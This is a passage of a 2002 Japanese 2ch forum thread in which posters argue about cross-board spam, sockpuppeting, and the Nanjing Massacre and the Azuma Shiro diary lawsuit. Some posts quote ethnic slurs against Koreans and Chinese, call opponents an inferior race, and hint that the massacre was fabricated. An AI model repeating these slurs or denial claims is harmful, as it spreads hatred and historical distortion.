          |   / \, ∨         ,|| .|| .|| .|| .|| .||
  ,, ,,, ,,,,   |    ̄ ̄~~  ,          || .|| .|| .|| .|| .||/ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
    ,,, ,,, ,,, |  _____   ガリ..,, ,,|| .|| .|| .|| .|| .||| あきらめの悪いヤツ・・・
          | ,┃‖‖‖‖┃ l|l ガリ..,,,|| .|| .|| .|| .|| .|||  
 ,,,, ,,,,   ,  | ,┃‖‖‖‖┃ |||  l|l ,,, || .|| .ii‐ii‐ii‐ii\___  ______
,,,,  ,,,, ,    |   ̄ ̄ ̄ ̄ ̄,, ΛΛ |||  || .|| .ll .|| .|| .||       ∨____
          | ,,     ,,,    (  ;)∩,,,,..|| .|| .|| .||.||=||D      ヽ=@=ノ
 ,   ,,,,  ,, |_____,,,___/>>309ノ__||_,||_,||_,||_,||_,||_______________(  ‐_‐ )
        /,,  ,,, ,    〜/  ノ     ,,\ || .ll .|| .|| .||       (  (y) )
      / , ,,, , ,,,      ..U U         \!!、|| .|| ||       |=◎=|
    / ,,           ,              \!!、|| .||      .(__)_)
  /    ,,  ,,,       ,,  ,,         \!!、||
/,,_________________,,.____\.!!


315 :うひょ:02/04/07 00:23 ID:TuW1weMK
この時期のコピペは自粛したが良いと思うがいかがか?


316 : ◆yzlSeA0w :02/04/07 01:15 ID:cPhytzUj
>>308
私の口を塞ぐ意味であのレスをつけたのなら降参。
議論封じの戦術として最強。

と思ってたんだけど、そういう意図は無かったようですね。

>>310
んな事したら、あっという間にクソスレに...。
マジメに議論している方に申し訳ない。

317 :名無しさん@お腹いっぱい。:02/04/07 05:52 ID:JR5oKDxX
やりたい放題の中国・韓国・北朝鮮に怒り心頭の皆さん、
日本の良心、ニュース極東板に投票しませんか。 4月7日午後11時まで投票できます。
ニュース極東板有志でHPも作りました。ぜひご覧下さい。
http://gomushi.tripod.co.jp/

公式ページ・トーナメント表
http://www.geocities.co.jp/SiliconValley-Oakland/2697/2ch.htm
投票用スレ
http://ton.2ch.net/test/read.cgi/gline/1018104926/
ニュース極東板の良スレの数々があなたを待っています。

なんとかしなければ、どういう活動をしていこうか?2
http://tmp.2ch.net/test/read.cgi/asia/1017132769/l50
JCA.APC.ORGを暴く
http://tmp.2ch.net/test/read.cgi/asia/1014037876/l50
【日馬】マレーシアと友好を深めるスレ.参【友好】
http://tmp.2ch.net/test/read.cgi/asia/1017401563/l50
日本萌国主義
http://tmp.2ch.net/test/read.cgi/asia/1013235298/l50
◆■●朝鮮コピペ集●■◆
http://tmp.2ch.net/test/read.cgi/asia/1013278791/l50
傑作■ムルデカ1月25日レンタル開始■実話
http://tmp.2ch.net/test/read.cgi/asia/1010405951/l50
反日W杯サイトwww.2002japanworldcup.com怒涛の大反撃
http://tmp.2ch.net/test/read.cgi/asia/1006870018/l50

318 :名無しさん@お腹いっぱい。:02/04/08 02:46 ID:Q8sNZN70
>>317
いくら煽っても無関心が関の山だよ。どうせ住人総出で投票しても勝てるわけないし。
精々この板の住人でやれることがあるとしたら、謀略によって板同士の同盟を破壊したり、
マターリとヲチして分析する程度じゃないの?

319 : ◆yzlSeA0w :02/04/08 03:16 ID:gZX5G6VQ
よーしスクリプトで極東板を応援しちゃうぞ、っと。(w

320 :名無しさん@お腹いっぱい。:02/04/08 03:17 ID:yR967M5w
>>317
国際情勢板は極東板の出張所じゃねーんだヴォケが。
極東板で国際情勢板の投票依頼されてぇのか。
他人の迷惑顧みず、板の正義を喧伝するから隔離板って言われるんだよ。

321 :【^▲^】ヤマト@”管直”入kyoto-u.ac.jp ◆24s4VnXw :02/04/08 04:15 ID:2jA3aPT/
◆麻呂は政治死相板の原住民でチンケなヤマト(=中卒)で娯JALダニ!!!

★その政治死相板で【神とも皇子とも】尊称されておられる菊地ちゃ〜んが、日記を憑けておりますので、遊びに診に来てくれマンコで娯JALダニダニ!!!

★以下は、麻呂の菊地ちゃ〜んの妄想でなく【日記】のアドレスなので娯JALダニダニ!!! ヨロチンコ!!!
菊地ドットコム(真面目な人が報われる日本に!)
http://www2.diary.ne.jp/user/138138/

◆追伸!
 ご意見やクレームなどは、以下に書き込みをしてくれマンコで娯JALダニダニ!!!
http://tmp.2ch.net/sisou/
http://tmp.2ch.net/test/read.cgi/sisou/1018113469/
菊地奮戦記 社会人編 part2

322 : ◆yzlSeA0w :02/04/08 04:20 ID:gZX5G6VQ
>>321
自作自演はもうお腹いっぱいです。。。

323 :名無しさん@お腹いっぱい。:02/04/08 04:27 ID:+6LPehGi
>>321
国際情勢板は政治思想板の出張所じゃねーんだヴォケが。
政治思想板で国際情勢板のコテハンの内輪話されてぇのか。
他人の迷惑顧みず、板の正義を喧伝するから隔離板って言われるんだよ。

324 :【^▲^】ヤマト@”管直”入kyoto-u.ac.jp ◆24s4VnXw :02/04/08 04:39 ID:Xbi2Lmul
>322 名前: ◆yzlSeA0w :02/04/08 04:20 ID:gZX5G6VQ
>自作自演はもうお腹いっぱいです。。。

★全板にしようと思っていたのですが、酷犀醸逝=国際情勢で止=病めましたので娯JALダニ!!!
 時間がかかり過ぎましたので、明日また始めるので娯JALダニダニ!!!

325 :名無しさん@お腹いっぱい。:02/04/08 04:44 ID:i84wmKt4
自作自演?
ここの人間はヤマトと菊地の区別もつかんのか?

326 :【^▲^】ヤマト@”管直”入kyoto-u.ac.jp ◆24s4VnXw :02/04/08 04:50 ID:Xbi2Lmul
>323 名前:名無しさん@お腹いっぱい。 :02/04/08 04:27 ID:+6LPehGi
>国際情勢板は政治思想板の出張所じゃねーんだヴォケが。

★【誉めて】くれてダンケで娯JALダニダニ!!!
 麻呂は、汝らのような【凡人のカテゴリーに<入るヒトラー>のヴォケ】では無く、がいしゅつ済みで娯JALが、【中卒の大バカモン】なので娯JALダニダニ!!!
 
>政治思想板で国際情勢板のコテハンの内輪話されてぇのか。
>他人の迷惑顧みず、板の正義を喧伝するから隔離板って言われるんだよ。
◆<板の正義>???
 正義など・・・がいしゅつ済みなので娯JALダニ!!!
 麻呂は、白を黒といい、黒を白という【メ(=ソ)フィスト】なので娯JALダニダニ!!!
★ピレネー山脈の向こうと此方では、如何なもので娯JALかダニ???
 正義など所詮【戯言=麻呂は醒めている】では娯じゃらぬかダニダニ!!!

★<他人の迷惑顧みず>
 プププッ! 次のオチは・・・
◆麻呂はベンジャミンなので娯JALダニダニ!!!
 【人の迷惑かえりみず、やってきました 電波=電線軍団】なので娯JALダニダニ!!!

327 :【^▲^】ヤマト@”管直”入kyoto-u.ac.jp ◆24s4VnXw :02/04/08 04:55 ID:Xbi2Lmul
>325 名前:名無しさん@お腹いっぱい。 :02/04/08 04:44 ID:i84wmKt4
>自作自演?
>ここの人間はヤマトと菊地の区別もつかんのか?

★汝は、【誰】なので娯JALかダニ???
 本当で娯JALダニ! 麻呂の【解読不能=電波】の文体と、麻呂の菊地ちゃ〜んの文体は、【同次元カモしれないが異質】だと、理解出来ない【バカンボ】が、この国際情勢板の原住民なので娯JALかダニ???

328 :【^▲^】ヤマト@”管直”入kyoto-u.ac.jp ◆24s4VnXw :02/04/08 05:00 ID:Xbi2Lmul
◆明日からは、以下をするので娯JALダニ!!!
 最低、1つの板に【少なくとも1個から2個】をするので娯JALダニダニ!!!

 経済 /株式 /先物 /創価・公明 /共産党 /政治思想 /ゴーマニズム /金融 【食文化】食べ物 /お菓子 /ジュース /料理 /ラーメン /グルメ外食 /B級グルメ /お酒・Bar /レしピ 【生活】〜 ◆以下は省略!!!

329 : ◆yzlSeA0w :02/04/08 05:22 ID:2f150B1K
なんかしらんが、ここは笑うところなのだろうか?
ワッハッハッハー、ワッハッハッハー。(腰に手を当てるんだっけか)

330 :名無しさん@お腹いっぱい。:02/04/08 05:27 ID:NcRay/bp
ヤマトには頑張ってほしい、といいたいところだが
この書き方では大概の人には理解されまい・・・

要するに菊地の日記が面白いんだろ
http://www2.diary.ne.jp/user/138138/

331 :【^▲^】ヤマト@”管直”入kyoto-u.ac.jp ◆24s4VnXw :02/04/08 05:29 ID:VFkU9BeR
>329 名前: ◆yzlSeA0w :02/04/08 05:22 ID:2f150B1K
>なんかしらんが、ここは笑うところなのだろうか?
>ワッハッハッハー、ワッハッハッハー。(腰に手を当てるんだっけか)

◆ヤマト人でなし(=植木等)【お呼びでない? お呼びでない? お呼びでないね。イッヒッヒッヒ。こりゃまた失礼しましたので娯JALダニ!!!】

332 :【^▲^】ヤマト@”管直”入kyoto-u.ac.jp ◆24s4VnXw :02/04/08 05:36 ID:VFkU9BeR
>330 :名無しさん@お腹いっぱい。 :02/04/08 05:27 ID:NcRay/bp
>ヤマトには頑張ってほしい、といいたいところだが
>この書き方では大概の人には理解されまい・・・
◆要は、カウント数を増やす為なので娯JALダニ!!!

★麻呂は【歌舞伎モノ】だから、ただの凡人特有の【面白いから診てね】とか【電波(=菊地ちゃ〜ん)がいるから、からかって遣れ】とは、麻呂は記載が出来ないので娯JALダニ!!!

>要するに菊地の日記が面白いんだろ
★そうで娯JALダニダニ!!!

333 :名無しさん@お腹いっぱい。:02/04/08 09:10 ID:C8prO8Fe
seiji-shisou-ita jumin no
shinryaku ga hajimatta...

334 :頑張れハト派モナカ ◆rqQ7z3WI :02/04/08 14:14 ID:13ufHQek
また最近クソスレが立てられたりage荒らしが起こっている・・・・

335 :頑張れハト派モナカ ◆rqQ7z3WI :02/04/10 12:26 ID:E6zHQIeT
自治スレより誘導受け入れage

336 :エラワン ◆X0jRLHdw :02/04/10 23:34 ID:7m8gkMa2
最近の国際情勢板は複雑だね。俺は俺で中国板にいるとある一人の中国人に叩かれっぱなしだ。


337 :エラワン ◆X0jRLHdw :02/04/11 00:01 ID:hR4QPeGH
http://mentai.2ch.net/test/read.cgi/china/1002122724/l50

↑ココにいる23のコテハンが中国人なんだけど、マジウザイ。

338 : ◆yzlSeA0w :02/04/11 00:07 ID:1BWynkB+
>>337
あなたは反中家さん?
あれじゃ叩かれて当然でしょ。

339 : ◆yzlSeA0w :02/04/11 00:30 ID:1BWynkB+
age荒らし、何が楽しいんだろう?

340 :エラワン ◆X0jRLHdw :02/04/11 00:42 ID:NuoP2cnF
http://mentai.2ch.net/test/read.cgi/china/1018073908/556-593

>338
そうだよ。しかしついに、彼は通州事件が中国に非が無いというような事を言い出しやがった。
上のスレで名無しのコテハンで華僑問題をグダグダ言っている中国人がいるけど、そいつの591のレスでそう結論付けされていた。
通州事件のような日本人虐殺事件や対日テロ行為が起きても侵略者である日本人は無抵抗で殺されるべきだったてな。


341 : ◆yzlSeA0w :02/04/11 00:51 ID:1BWynkB+
591ではそうは読めないけど。
あなたの罵倒が原因でしょ。
叩かれるのが嫌なら罵倒をやめたら?

342 :エラワン ◆X0jRLHdw :02/04/11 01:00 ID:NuoP2cnF
いや、何でも無い俺のレスに因縁をつけて来たのは向こうだから・・・・・。


343 : ◆yzlSeA0w :02/04/11 01:00 ID:1BWynkB+
それから、自由主義史観は穴だらけで論破が簡単だから、
自説の論拠に使ったら負ける。
客観的な史料を論拠に使うといいかと。
(客観的な史料を使うと、日中戦争の日本を擁護することは難しいけどね)

344 : ◆yzlSeA0w :02/04/11 01:03 ID:1BWynkB+
>>342
その「何でもないレス」を提示きぼん。
提示されたスレを見ると、
「中国人(華僑)は虐殺・強姦されて当然」に噛み付いたみたいだけど。

345 :名無しさん@お腹いっぱい。:02/04/11 01:06 ID:SDtjHvGU
>>343
客観的なと言ったってなあ・・・
「自分は客観的」だなんて豪語する奴の事を
「客観的な奴だなあ」なんて思うほど間抜けじゃないよ。
増してや君って、この間まで東史郎日記なんて代物を真に受けてなかったっけ?

346 :エラワン ◆X0jRLHdw :02/04/11 01:06 ID:NuoP2cnF
>344
その通りです。中国板にいる他の中国人は何も気にしないのにね。それに、この手の発言は中国板では珍しくないという点で「何でも無いレス」だったんだけどな。
ま、中国板では俺が有名な、影響力の強いコテハンだったから叩かれたというのもあるだろうけどな。
コテハン名乗らない奴がこの手の発言をしてもほとんど因縁つけられないからね。


347 : ◆yzlSeA0w :02/04/11 01:23 ID:1BWynkB+
>中国板にいる他の中国人は何も気にしないのにね。
いや...気にしないのではなく、相手にしてないのではと。

国際情勢板だって、北チョン潰せ、在日チョンは殺せとか書いてる厨が何人かいるけど
マトモな人は相手にしないでしょ。

国際情勢板で当たり前のカキコでも、叩く気になればいくらでも叩ける。
国際情勢板でも中国板でも、叩く人がいないだけ。

ポーランドスレの51
http://yasai.2ch.net/test/read.cgi/kokusai/1017265182/49-51
なんかも同種かな。

348 : ◆yzlSeA0w :02/04/11 01:30 ID:1BWynkB+
台湾板の酒井センセって、中国板とか地理板に遠征するけど
国際情勢板には来ない。来て欲しいなぁ。
罵倒する相手がいないから当然かも知れないけど。
罵倒の芸が超一流。

349 :エラワン ◆X0jRLHdw :02/04/11 01:44 ID:NuoP2cnF
>347
ではなぜ、彼は俺のレスの相手をしたのかな?



350 : ◆yzlSeA0w :02/04/11 01:52 ID:1BWynkB+
>>345
>客観的なと言ったってなあ・・・

何事についてもそうだけど、肯定派と否定派の両方を疑うスタンスの懐疑派とかの
バイアス抜きでの事実解明を目指す人たちの論は十分客観的。

>増してや君って、この間まで東史郎日記なんて代物を真に受けてなかったっけ?

こだわるねえ。
そんなに東史郎の日記の存在が邪魔なの?
ちなみに、あなたが挙げた東史郎の日記を私がどういう利用の仕方をしたか、
全然判ってないみたいだね(笑)。
東史郎なんて、私ゃあなたに言われるまで知らなかったんだよ。
リアルタイムにgoogleで検索した結果だけでレス付けてたんで、
あなたはまあ遊ばれてたって事だ。<Dなんとか

351 : ◆yzlSeA0w :02/04/11 01:55 ID:1BWynkB+
>>349

なんででしょうねえ。
エラワンさんの言う通り、有名なコテハンを叩いてみたかっただけかも。
相手が勝ち誇りしている所を見ると、あんまり大人じゃないようではある。

352 :名無しさん@お腹いっぱい。:02/04/11 01:56 ID:kRBzixks
>>350
ハァ?もしかしてお前さんもDRX恐怖症に陥ってるのか?(藁

353 :エラワン ◆X0jRLHdw :02/04/11 01:59 ID:NuoP2cnF
>351
あのぅ、貴方は俺のことを良く御存知のようですが、どこかのいスレでお会いしましたか?
どんな事を話しました?

354 :名無しさん@お腹いっぱい。:02/04/11 02:35 ID:a0KsNfiz
Dなんとかって、DRXの事か(w
意地を張って煽ったりしない限りは悪戯しない奴だから、そう心配するな。

355 :D:02/04/11 08:25 ID:FRp5To+Q
空威張りで情報操作を目論んでも徒労に終わるよ。
誰かの主張が気になるなら、論理的に反論を撃破するよう目指すべきだ。
手持ちの武器が誹謗中傷だけでは、かつての枢機郷や四ヶ月と同じ轍を踏む事だろう。
後になって「あの件については良く知らなかった、だから俺の勝ち」などと妙な理屈を口走っても無駄だよ。
そんな寝言を言ってる暇があるなら読書でもしておく方が有益だ。
知識を蓄え、一人静かに情報を吟味する時間を作る。
そうすれば、東史郎日記程度の罠で醜態を晒す事はなくなるだろう。

産業図書 刊「論理トレーニング101題」野矢茂樹 著

みずからの知性化を欲する若者達の為には、なかなか役に立つ名著だよ。
俺との対戦を望む者達には、是非一読しておいて貰いたいものだ。
知性での勝利を欲するなら、まずは己を磨け。
罵倒はみずからを堕落させる甘い罠でしかない。
君の健闘を祈る。
でわ


356 : ◆yzlSeA0w :02/04/11 14:13 ID:1BWynkB+
>>353
いえ、やりとりしたことはないかと。
私は専ら読んでるだけです。

>>355
だから、東史郎の日記を肯定するつもりは最初からなかったんですってば。
私にも一種のイデオロギーというか主張の傾向がある訳で、
その主張に対して反論してくれないと有効な反論にならない。
そういう意味では、>>345は有効な反論ですよ。

357 : ◆yzlSeA0w :02/04/11 15:18 ID:1BWynkB+
>増してや君って、この間まで東史郎日記なんて代物を真に受けてなかったっけ?

問題の東史郎が語られたのは
http://yasai.2ch.net/test/read.cgi/kokusai/1016453791/319-347

「東史郎日記なんて代物」って書くだけで、あなたのスタンスがバレバレ。
あなたの発言にはバイアスが強くかかっているよ、と自分で言っているようなもの。


358 :お肉お肉お肉〜お肉をたべ〜ると〜:02/04/11 16:42 ID:CP8aVOks
>326 : ◆yzlSeA0w :02/04/04 04:29 ID:uWekw8eo
>ちなみに、なぜ敗訴したか、その理由も爆笑モノ。
>「ガソリンで火を付けたり、手榴弾を爆発させたり、そんな危険なことをするはずがない」
>それだけ。
>そんなムチャクチャな訴訟でしたとさ。
http://www.mmjp.or.jp/nankin1937/kohan6.html
http://www.mmjp.or.jp/nankin1937/azuma3.html

>右翼(自由主義史観研究会)も左翼も、こじつけばかりのプロパガンダばかり。

東を担ぎ出した左翼は見え透いた嘘に縋って言ってるだけだけど、
右翼の主張は一体どこがこじつけなの?
最高裁が東日記を真に受けないのは当然では?

359 :ののみ:02/04/11 19:45 ID:X74jvzaI
なんきんぎゃくさつが じつわなら、
ど〜してこんなに、 うそつきなしょ〜げんや ねつぞ〜しゃしんが
ぞくしゅつするのかなあ?
ふしぎだなあ
ふしぎだなあ。

360 :D:02/04/11 20:26 ID:5djM7yRA
>343 : ◆yzlSeA0w :02/04/11 01:00 ID:1BWynkB+
>それから、自由主義史観は穴だらけで論破が簡単だから、
>自説の論拠に使ったら負ける。
>客観的な史料を論拠に使うといいかと。
>(客観的な史料を使うと、日中戦争の日本を擁護することは難しいけどね

これでは単に、自説が客観的だと喧伝してるだけのようなんだが。
根拠をはしょって結論だけ言い放たれても、こっちは指摘しようがないよ。
だから寝言扱いせざるを得ないんだって。

まずは「自由主義史観がどう穴だらけなんだか」を説明する所あたりから始めてくれないか。


361 :名無しさん@お腹いっぱい。:02/04/11 20:35 ID:w6b3G7dB
ヤオイ板で見つけたんだけど、結構面白いかも?
(がいしゅつ?)

〜801で学ぼう国際情勢part3〜
http://www2.bbspink.com/test/read.cgi/801/1004618718/
「〜801で読む国際情勢part2〜」
http://www2.bbspink.com/test/read.cgi?bbs=801&key=1001493069
「アメリカがいきなり襲われました。」
http://www2.bbspink.com/test/read.cgi?bbs=801&key=1000217327

作品収納室
http://www2.to/8o1

362 :こんな感じ:02/04/11 20:36 ID:w6b3G7dB
11 名前:チゲ鍋 投稿日:01/11/02 01:51 ID:uks2U0SL
「わーい、アメリカたんだぁ」
 ドアを開けた日本たんはそこに立っていたアメリカに抱き付いた。
 アメリカは日本たんの黒髪をナデナデする。
「日本、今日は映画を持ってきたぜ。一緒に見よう」
「ほんと?嬉しいなぁ」
 アメリカがビデオをセットしようと背を向けたとき、
日本たんの満面の笑みがすっと消えた。
 どーせうちに来た本当の目的はアフガンとパキに金出せってとこだろ。
 ま、アメリカの映画は好きだからその点はいいがな。
「今日はうおるとの新作だ。お前、アニメ好きだもんな」
「うん。楽しみだなぁ」
 ソファに座ったアメリカの太ももにほほを摺り寄せながら日本たんはビデオを見終わった。
「このあとらんてすってアニメ、僕の所で作ったなであに似てるね」
「……そうだな」
「アメリカたん、うおるとが獅子王に続いてまた僕のアニメをパクったの?」
「お、お前だって、俺の映画のマネをして宇宙からの伝言やさよなら木星を作ったろ!」
 ぎく。さよなら木星は日本たんにも触れて欲しくない過去だった。
「う、そんなことしたってごまかされねぇぞ。うおるとを怒らせたのはじぶりだぜ。
 資金を提供したのにやまだくんなんて作って。酷いと思わないか?」
 確かにあれは酷かったと日本たんも思った。しかし……。日本は唇を吊り上げた。
 あの監督と米帝黒ねずみの資本、これほど相性の悪いものもねぇ。ちゃんと調べてから金を出せよな。
「まぁ仲良くしようぜ。まともなアニメを作れるの、世界で俺とお前だけなんだからな」
 そんなこと分かってる。ロシアや中国とパートナーになったってつまらないことも。
「うん。いつまでも仲良くしようね」
 二人は笑顔で見詰め合った。
 一方は世界の安定を壊わさないため、世界第二の国力を持ちながらそれを使わずに。
もう一方は世界第二の国を内心恐れるが故にその服従を確認したい欲求を感じながら。

363 :どうでもいいけど:02/04/11 21:11 ID:aquzt2lZ
なんかニホンちゃんのホモバージョンみたいだ>>361>>362

364 :>どうでもゴルァ!:02/04/11 21:53 ID:3BmEUZTO
>どうでもいいけど
某所でののみ=DRXだとか言いふらしてるようだが、これはどういう事だ?

>667 名前:D :02/04/11 19:45 ID:rOT7Fx4s
>アラ石買う奴はギャンブラー。
>資産を増やしたくて株やる気なら、皆が騒いでない低位株が基本だよ。

>359 名前:ののみ :02/04/11 19:45 ID:X74jvzaI
>なんきんぎゃくさつが じつわなら、
>ど〜してこんなに、 うそつきなしょ〜げんや ねつぞ〜しゃしんが
>ぞくしゅつするのかなあ?
>ふしぎだなあ
>ふしぎだなあ。

別々のスレで同時にレスしてるんなら、2回線引いてないと無理なんでないか?

365 :>364:02/04/11 21:59 ID:x5P3k1Js
あーあ墓穴を掘っちゃった

366 :名無しさん@お腹いっぱい。:02/04/11 22:15 ID:oHWnDmNM
>>365


367 :名無しさん@お腹いっぱい。:02/04/11 22:23 ID:L+yggNaM
ののみ=DRXってのもよく分からんけど、>>365の言う墓穴というのも謎だな。
解説キボン


368 :名無しさん@お腹いっぱい。:02/04/11 22:40 ID:dfVjcs7g
>>366
>>367

>>365は適当な事を言ってるだけだろ?
四ヶ月とやらの常套手段じゃん(藁

369 :名無しさん@お腹いっぱい。:02/04/11 22:52 ID:qyLscBvs
>>364 3BmEUZTO、
また出てきてください

370 :名無しさん@お腹いっぱい。:02/04/11 23:07 ID:dfVjcs7g
>>369
あの〜、
さらりと話題を逸らそうとしてるアンタは誰だい?(藁
順番で言えば、どうでもいいけどと365の回答が先だろ?(藁

・・・どうでもいいけども>>365もどこ行ってるんだ?

371 :愛子:02/04/11 23:37 ID:8/h78lOM
えーっと・・・(藁

私にも皆様が何をおっしゃってるのかよく分かりませんが、
もしかして今もまた、自作自演論争の愚劣さを体現なさっておいでなのでしょうか?
その心がけはお見事なものですが、同じ事で何度も指導種族に奉仕する必要はございませんのよ。(クスクス
では、ごきげんよう。

372 :D:02/04/12 00:00 ID:djwkSC58
どうやら、劣等種族どもがまともなレスを奏じる様になる迄には、
まだまだ時間がかかりそうだな。
知性化の道のりは険しく遠いという事か。
気が向いたらまた調教の続きをしてやるよ。
寝る前に訳もなく勝ち誇っておくとするか。
例によって格ゲー風でな。


「進歩のない奴だ・・・」

でわ


373 : ◆yzlSeA0w :02/04/12 01:10 ID:Qdom4e8N
>>358
>東を担ぎ出した左翼は見え透いた嘘に縋って言ってるだけだけど、
>右翼の主張は一体どこがこじつけなの?

あの訴訟を以て「南京大虐殺が無かったことを最高裁が認めた」
捏造写真をもって「それみろ、南京大虐殺はなかった」
御用新聞の朝日の記事と写真をもって「それみろ、南京はこんなに平和だった」
南京の市民が20万人しかいないことを以て
「どうやったら30万人も殺せるんじゃゴルァ!」←ここまでは正しい
「だから南京大虐殺は無いんじゃヴォケ!!」←論理の飛躍

>最高裁が東日記を真に受けないのは当然では?

ほら、またすり替えた。
「あの記述に対する訴訟の上告」を最高裁が却下したんであって、
「最高裁が東日記を真に受けない」わけではないんだな。
なんたって、あの日記「全て」が真実か否か、が装填の訴訟じゃないんだから。

つうか、この話題は激しく板違いだと思うんだが。
世界史板か日本史板か軍事板かゴー板の話題かと。

374 : ◆yzlSeA0w :02/04/12 01:17 ID:Qdom4e8N
>>359

>なんきんぎゃくさつが じつわなら、
>ど〜してこんなに、 うそつきなしょ〜げんや ねつぞ〜しゃしんが
>ぞくしゅつするのかなあ?
>ふしぎだなあ
>ふしぎだなあ。

ほらほら、ののたん「も」(笑)バイアスがかかってるなりよ〜。
捏造写真や誇張された証言は、中共のプロパガンダなりよ。
なんだか、従軍慰安婦はいなかった!とか言ってるオバカと同じなりよ。
ののたんの論でいうと、すーちゃんの言ってることは全部嘘になるなりよ?
あのおっさんの言ってることにも正しいことはあるでしょ?
自分にどれだけバイアスがかかってるのかを冷静に見極めることも大事なりよ。

375 : ◆yzlSeA0w :02/04/12 01:22 ID:Qdom4e8N
>>360
>>客観的な史料を論拠に使うといいかと。
>>(客観的な史料を使うと、日中戦争の日本を擁護することは難しいけどね
>これでは単に、自説が客観的だと喧伝してるだけのようなんだが。

いいえ、難しいけれど十分可能だと思いますよ。
そちらの方がよっぽど説得力がある。
原爆スレで、ABCD包囲網が経済封鎖だってのを「新しい教科書」で説明したでしょ?
自説の根拠でなく、反対説の論拠を用いて反論するのは上策だよ。

>根拠をはしょって結論だけ言い放たれても、こっちは指摘しようがないよ。
>だから寝言扱いせざるを得ないんだって。
>まずは「自由主義史観がどう穴だらけなんだか」を説明する所あたりから始めてくれないか。

これ、本当に激しく板違いだと思うんだが。
続けてもいいなら説明するけど...。

376 :名無しさん@お腹いっぱい。:02/04/12 02:47 ID:D3Vq7dgn
http://www6.big.or.jp/~beyond/bbsnews/bbs.html

377 :名無しさん@お腹いっぱい。:02/04/12 06:12 ID:n1TnEuoC
>>375
続けろ。

378 :どうでもいいけど:02/04/12 23:23 ID:OPmN6jzZ
ふ〜む?
>>364-370は捨て台詞を吐かれても、無反応なのか?
(案外、単純な話ではないのかもな?)

まあイイや。
つづきは某所ででもどうぞ。
http://tmp.2ch.net/test/read.cgi/kova/1009182481/

でも一点だけ。
>>364
>690 名前:DRX 投稿日:02/04/09 12:16 ID:lygzdhgg
<焦り?
>わざわざ「名無し化したkouei35狩りをしてる」事を示す為にID繋ぎっぱなしにしていたのに、
<俺が何を焦らなくてはならんのだ?
>焦りが現れてるとするならば、持ち株が下落しているせいかもしれないがな。

>722 名前:DRX 投稿日:02/04/10 00:50 ID:JMbzDl+N
>>720
>どこの間抜けか知らんが、俺は以前から自作自演の効能を認めてはいるよ。
<日本語は正確に使うんだな。
>ところで参考までに言っておくが、俺が回線を頻繁に切るのは、昔厨房をイヂメた時IP抜かれて以来の習慣だからだ。
<何か勘違いしてないか?

それと常識だとは思うが、回線が一本でもIDを複数持つ方法はいくつかある。

379 :どうだかしらんが:02/04/13 01:05 ID:9I2jg/Hz
☆ チン     マチクタビレタ〜
                         マチクタビレタ〜
        ☆ チン  〃  ∧_∧   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
          ヽ ___\(\・∀・) < それで、南京虐殺の証拠まだ〜?
             \_/⊂ ⊂_ )   \_____________
           / ̄ ̄ ̄ ̄ ̄ ̄ /|
        | ̄ ̄ ̄ ̄ ̄ ̄ ̄|  |
        |中国椎茸安価  |/



380 : ◆yzlSeA0w :02/04/13 01:08 ID:aX5gTUtB
>>377
あんたは続けて欲しいかも知れないけど、
板違いじゃないの?
政治思想板か日本史板かゴー板でやるか?それならいくらでも乗るが。

>>379
南京スレでやったら?
私は先にも書いた通り、「あったかなかったか」を論争するのは無意味だと思ってるので。


381 :そうかもしれんが:02/04/13 01:09 ID:626s/5Ty
>それと常識だとは思うが、回線が一本でもIDを複数持つ方法はいくつかある。

同時刻に別スレにカキコするのも一回線で可能?
ののたんはID変えてない様だが・・・?


382 :なんでもかんでも:02/04/13 01:15 ID:fWCXTR9y
>>380
>続けてもいいなら説明するけど...。

自分でこういうレスした後で

>私は先にも書いた通り、「あったかなかったか」を論争するのは無意味だと思ってるので。

ってのは首尾一貫してないなあ。
逃げ口上と見なされても当然だよ、こんなんじゃあ。(藁

383 : ◆yzlSeA0w :02/04/13 01:15 ID:aX5gTUtB
>>378

某所がどこかわかんなかったけど、やっぱりゴー板だったのね(笑)

384 :どうでもいいけど:02/04/13 01:22 ID:QLyqJkb+
>>381
>同時刻に別スレにカキコするのも一回線で可能?

なんなら、やってみせようか?

>ののたんはID変えてない様だが・・・?

あれ?
ののたんって、あの日、複数レスつけてたっけ?
まあ、どっちにせよ方法を知ってれば可能な事ですがね。

>>383
一時、枢機郷氏が爆撃してたりする・・・。

385 :名無しさん@お腹いっぱい。:02/04/13 01:23 ID:IH/lMGzN
>>383
DRXは何故かコヴァ板で話題にされる事があるようです。
殆どコヴァ板に出て来ないのに。(w

386 :名無しさん@お腹いっぱい。:02/04/13 01:31 ID:PiyP9nDc
アレだけ自(自主規制)を、やりまくって糞スレを1000まで伸ばせば噂ぐらい残るのも当然かもね

387 :那蓋林:02/04/13 01:38 ID:PsseCz76
>>386
あの馬鹿馬鹿しさで1000達成というのは、ある意味伝説のスレかも。(w

388 : ◆yzlSeA0w :02/04/13 01:46 ID:aX5gTUtB
>>382
私の自由主義史観を批判したい気持ちはとっても強いの。
原爆スレみたいに追及してもいいんだけど、せっかく平和になったこの板でやる意味を見いだせないの。

うん、私の負けでいいよ。面倒くさい。あなたの勝ち。

389 :名無しさん@お腹いっぱい。:02/04/13 01:48 ID:brwyMSON
そういや、DRXのライバルとしても知られている(藁)エノキって奴、
最近共産党マンセー丸出しだな。

390 :エラワン ◆X0jRLHdw :02/04/13 03:34 ID:wFe9bxUa
テスト.


391 :3価クロム ◆sbN/.5Pk :02/04/13 16:42 ID:08Reg62p
【宣伝】
本日、21時ごろを目安にスレ立て祭を開催予定
その時間にはニュー速にニューススレッドが立ち出すので、たまには協力して
ニュー速にレスを下さい

392 :さる:02/04/13 16:47 ID:G9JO1slP
ねえねえdebuや猫男を知らないかい?

393 :名無し三等兵:02/04/13 20:31 ID:ClyeCgan
>>392
(;´ー`)y-~~そんなコテハンいたっけ?

394 :名無しさん@お腹いっぱい。:02/04/13 21:11 ID:P/U4K6Q3
ひさびさにこの板に来てみたが、◆yzlSeA0w←この人あの特徴的な「○○なり〜」ってのやめちゃってるようですな。
あのキャラ結構好きだったのに。

395 :ブラウニー:02/04/13 21:33 ID:QLyqJkb+
>>393
2000年後期まで活躍していたらしい。

>>35
>2000年後半、debu、あまいな、猫男(後にバカサヨ三銃士と命名され愛されたようだ)など
>左翼系論客が進出して来て、活発に書き込むようになりにぎわい始める、しかしこれらの固定は知識・文章力とも未熟で
>「従軍慰安婦問題」などのスレを立て続けるも右翼系論客にことごとく論破される。
>特に自称広島の高校生(演劇部所属)debuは、最初日本政府の謝罪と賠償を主張するも
